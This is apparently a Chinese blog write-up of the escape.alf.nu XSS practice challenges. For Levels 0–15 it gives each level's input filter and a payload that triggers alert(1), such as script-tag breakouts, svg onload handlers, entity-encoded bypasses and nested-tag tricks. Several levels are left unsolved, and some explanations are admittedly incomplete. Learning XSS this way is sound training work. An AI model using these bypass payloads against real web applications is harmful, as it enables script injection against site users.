escape.alf.nu XSS挑战赛writeup

http://escape.alf.nu/是一个练习XSS很好的平台。通过按照不同类型,按照循序渐进的方式来设置题目,使得在做题目的过程中十分的有趣和有挑战性。但是整体来说上面的题目还是具有一定的难度。对于新手来说,不是特别的适合,还是比较适合有一定经验的人来练习。其实其中的有些题目会让你大开眼界,需要有一定的JavaScript基础和XSS经验。由于我的水平也有限,对于其中的部分题目我也是一知半解。
题目要求是很简单的,在浏览器中输出alert(1)即可。平台会统计你输入的字符串的字符个数,虽然你解决了问题,但可能你的答案不是最优解。以下是我在做题目的过程中的思考以及借鉴了他人的想法总结出来的。

Level 0

1
2
3
4
function escape(s) {
//Warmup.
return '<script>console.log("'+s+'")</script>';
}

这个题目没有对输入进行限制,所以最简单的方法只需要闭合console标签然后植入我们的alert.

1
");alert(1)//

Level 1

1
2
3
4
5
function escape(s) {
// Escaping scheme courtesy of Adobe Systems, Inc.
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

函数将引号进行了简单的过滤,将双引号过滤为\”。思路与第一题类似。但是由于过滤了”,所以无法闭合console标签,那么可以考虑script标签。所以我的答案就是:

1
</script><script>alert(1)<!--

但这明显不是最优解。处理将”过滤为\”最简单的方法就是注入\”,这样绕过的函数的返回值就变为了:\\”。其实这就是利用了JavaScript的特殊字符的特性。所以最佳答案为,

1
\");alert(1)//

Level 2

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return \'<script>console.log(' + s + ');</script>';
}

这道题目使用的是JSON.stringify()来进行过滤的。stringify()可以过滤”为\”,但是无法过滤尖括号<>,/。所以我们可以通过闭合之前的script标签,然后创建一个新的标签来弹出对话框。

1
</script><script>alert(1)//

Level 3

1
2
3
4
5
6
7
8
9
function escape_3(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);

var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}

在这个题目中,依旧是使用了JSON.stringify()的方法对字符串进行了过滤,所以”仍然是无法使用的。但是由于最后的字符串会传递到url中。所以可以使用url encode的方法将”进行编码。将”使用urlencode编码之后的结果为%22。编码的工具可以使用firefox插件Hackbar来完成。

1
%22);alert(1)//

Level 4

1
2
3
4
5
6
7
8
function escape_4(s) {
var text = s.replace(/</g, '&lt;').replace('"', '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

首先是明确题目的含义。题目中会对输入的格式有所要求。如果输入的是如“abcdre”这样的普通的格式,则直接返回。若输入的是形如“http://www.example.com”以“http://”开头的字符串,则返回输出连接。如果输入的是[[this_is_alt|this_is_src]],则会返回

1
<img alt='this_is_alt' src='this_is_src'>

经过测试发现,无论src的地址是什么,页面都会输出图片预先定义的格式。这也表示onerror的方法是无法使用的。函数中的第一行已经将<和”进行了替换,也是无法使用。 但是需要注意的时候,替换”没有使用全局模式,那么这种替换方法只能替换一次。如果存在””,则只有第一个”会被替换为&quot。
那么正确的解决方法就是使用任意的src值,同时alt值以两个””开始。那么第二个”就不会被替换。然后在使用一个新的事件处理onload=”alert(1),就被双引号包含到模板中。
答案为:

1
[[a|""onload="alert(1)]]

那么最后的text会变为:

1
<img alt="&quot;" onload="alert(1)" src="a.gif">

最后这段代码在html的页面会被渲染为:

1
2
3
4
5
6
7
8
9
<html>
<head>
<title>alert(1)to win</title>
<script type="text/javascript" src="1.js"></script>
</head>
<body>
<img alt="&quot;" onload="alert(1)" src="a.gif">
</body>
</html>

由于src不管怎么样系统都会认为存在,那么onload方法就会被触发,alert(1)就会弹出。 这道题目的难度相比之前的题目难度要大一点。主要是要发现替换引号的时候,使用的不是一个全局模式。

Level 5

1
2
3
4
5
6
7
8
9
10
11
function escape_5(s) {
// Level 4 had a typo, thanks Alok.
// If your solution for 4 still works here, you can go back and get more points on level 4 now.

var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

这到题目相比上一题,就是在替换”时,使用了全局过滤函数。这也就意味着上一题的解决方法不能用在这一题了。必须要有新的思路。在这道题目中,我们需要使用到http替换的方法,从而利用image标签的构造。具体的答案为:

1
[[a|http://onload='alert(1)']]

这个payload会触发一个替换函数。payload就会变为:

1
[[a|<a href="http://onload='alert(1)']]">http://onload='alert(1)']]</a>

新形成的payload的[[a|<a href="http://onload='alert(1)']]">http://onload='alert(1)']]</a>又会触发第二个payload。最后的text就会变为:

1
<img alt="<a href="http://onload='alert(1)'" src="a.gif">">http://onload='alert(1)']]</a>

最后这个页面就会会被渲染为:

1
2
3
<body>
<img alt="<a href=" http:="" onload="alert(1)" "="" src="1.png">"&gt;http://onload='alert(1)']]
</body>

这样alert(1)就可以触发了。但是这种想法在我看来实在是匪夷所思,很难想出要构造出一个这样的payload才能解决问题。这个问题我至今也没有明白作者是如何相处要构造一个这样的payload。虽然比较匪夷所思,但是还是为我们提供了一定的思路。

Level 6

1
2
3
4
5
6
7
8
9
10
function escape_6(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

首先需要读懂题目。这个题目需要一定的脑洞大开和一定的JavaScript中DOM相关的知识,这个题目需要使用createComment这个方法。例如使用Comment#foo将会创建如下的html代码:

1
<!--<foo>-->

所以,在这道题目中,我们可以使用:

1
Comment#><svg onload=alert(1)

这个输入经过渲染最后会变为:

1
<!--><svg onload=alert(1)-->

Level 7

1
2
3
4
5
6
7
8
9
function escape_7(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

在这个题目中,json转换函数中将’<‘替换为十六进制的编码\u003C。这个过滤导致我们无法使用这样的标签。为其实最主要的还是需要闭合({“userdata”这段字符串。那么最后的答案为:

1
'#';alert(1)//

这个输入最后经过渲染会变为:

1
<script>'({"userdata":"';alert(1)//"})</script>

在这个题目中,我们发现在第一次替换的过程中允需要以a-zA-Z[]’字符开头,那么就考虑使用’#’来闭合{“userdata”:”闭合之后就可以使用alert(1)了。

Level 8

1
2
3
4
5
6
7
8
function escape_8(s) {
// Courtesy of Skandiabanken
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
```这道题目中没有过滤函数,仅仅只有一个大小写函数。我们还是通过关闭存在的script标签然后创建一个对大小写不敏感的标签来执行onload函数。
那么只需要将onload转换为十进制的编码就可以完成任务。
```JavaScript
</script><svg onload=&#97;&#108;&#101;&#114;&#116;(1)//

当然如果为了追求输入的字符最短,可以将十进制的编码转换为十六进制。

1
</script><svg onload=&#x61&#x6C&#x65&#x72&#x74(1)//

Level 9

1
2
3
4
5
function escape_9(s) {
// This is sort of a spoiler for the last level :-)
if (/[\\<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

这道题目与第8题差不多。但是相比第8题,这一体不允许输入\,<,>这些标签。所以第8题的答案是不能使用的。
由于这一题的答案较为地复杂,我至今还不是完全的理解。
答案还是稍后再给出吧

Level 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function escape_10(s) {
function htmlEscape(s) {
return s.replace(/./g,function(x) {
return {'<':'&lt:','>':'&gt;','&':'&amp;','"':'quot;',"'":'&#39;'}[x] || x;
});
}
function expandTemplate(template,args) {
return template.replace(/{(\w+)}/g,function(_,n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>hello,<span id=name></span></h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{name:s}
);

}

在htmlExcape方法中没有对\进行过滤,那么就可以利用十进制或者是十六进制来替换<>,来绕过这个函数。所以正确的答案为:

1
\x3csvg onload=alert(1)\x3e

Level 11

1
2
3
4
5
function escape(s) {
//spoiler for level2
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log('+s+')</script>';
}

在这道题目中,首先是过滤通过JSON.stringify()对”和\进行了过滤,然后对</script进行替换为空。这种做法其实在很多的生产环境也是这样做的,但是这种做法实际上还是存在很大的问题。答案也是十分地简单。

1
</scr</scriptipt><script>alert(1)//

Level 12

1
2
3
4
5
6
7
8
9
10
function escape_12(s) {
//Pass inn 'callback#userdata'
var thing = s.split(/#/)
if (!/^[a-zA-Z\[\]']*$/.test(thing[0]))
return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";

}

这道题目与第7题类似的,不同之处在于在本题中过滤了反斜杠。这就导致了第7题的答案中的注释是无法使用的。但是鉴于最后的JavaScript的代码会嵌入了html代码中,因此可以考虑使用html的注释方法来完成本题。

1
'#';alert(1)<!--

Level 13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function escape_13(s) {
var tag = document.createElement('iframe');

//For this one,you get to run any code you want, but in a 'sandboxed' iframe
//http://print.alf.nu/?html=...just outputs whatever you pass in
//
//Alerting from print.akf.nu won't count;try to trigger the one below

s = '<script>'+s+'<\/script>';
tag.src = 'http://print.alf.nu/?html='+encodeURIComponent(s);

window.WINNING = function () {
youWon = true;
};

tag.onload = function (argument) {
if(youWon) {
alert(1);
}
};
document.body.appendChild(tag);
}

这个题目就是需要使用html的编码方法来完成任务。在url中会十一哦哦那个encodeURIComponent的方法来对输入的字符串进行编码。
本题的解决思路要利用到iframe的特性,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。现在有意思的地方在于,iframe可以定义自己的window.name对象,当windowa.name不存在的同时注入了一个新的name的时候(注意,name是不能被重写的)。所以我们需要做的就是干扰iframe使它认为window.name的指就是”youWon”,那么这个时候alert(1)就可以被触发。
最终的解决方法是:

1
name='youWon'

Level 14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function escape_14(s) {
function json(s) {
return JSON.stringify(s).replace('/\//g','\\/');
}
function html(s) {
return s.replace(/[<>"&]/g,function(s) {
return '&#' +s.charCodeAt(0)+';';
});
}

return (
'<script>' +
'var url='+json(s)+';we\'ll use this later' +
'</script>\n\n'+
'<!-- for debugging -->\n'+
'URL:'+html(s)+'\n\n'+
'<!--then suddenly-->\n'+
'<script>\n'+
'if(!/^http:.*/.test(url)) console.log("bad url:"+url);\n'+
'else new Image().src = url;\n'+
'</script>'
);

}

这道题目需要用到一个在html5的一个比较特殊的用法。在html5中如果是<!–<script>中的代码都会认为是JavaScript的代码,直到遇到了–>的结束标识符。但是这个题目的原理我迄今还是不是很清楚。那么问题的答案也并不是十分的好写。

Level 15

1
2
3
4
5
6
7
8
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log('+json+')</script>';
}).join('');
}

这个题目中主要是用到了map()和json()2个函数。这2个函数的用法和Python中的用法类似,这里就不作说明了。主要是讲解一下这个题目的思路。在本题中,我们需要填写的字符串的格式是payload#payload的格式。那么最后将会被渲染为:

1
<script>console.log("payload1")</script><script>console.log("payload2")</script>

这道题目同样是需要用到和第14题中一样的html5放入特性。即在html5中,<!–<script>中的代码全部会被认为是JavaScript的代码。但是由于不是很理解这个特性,答案还需要进一步的思考,理解其中的原理。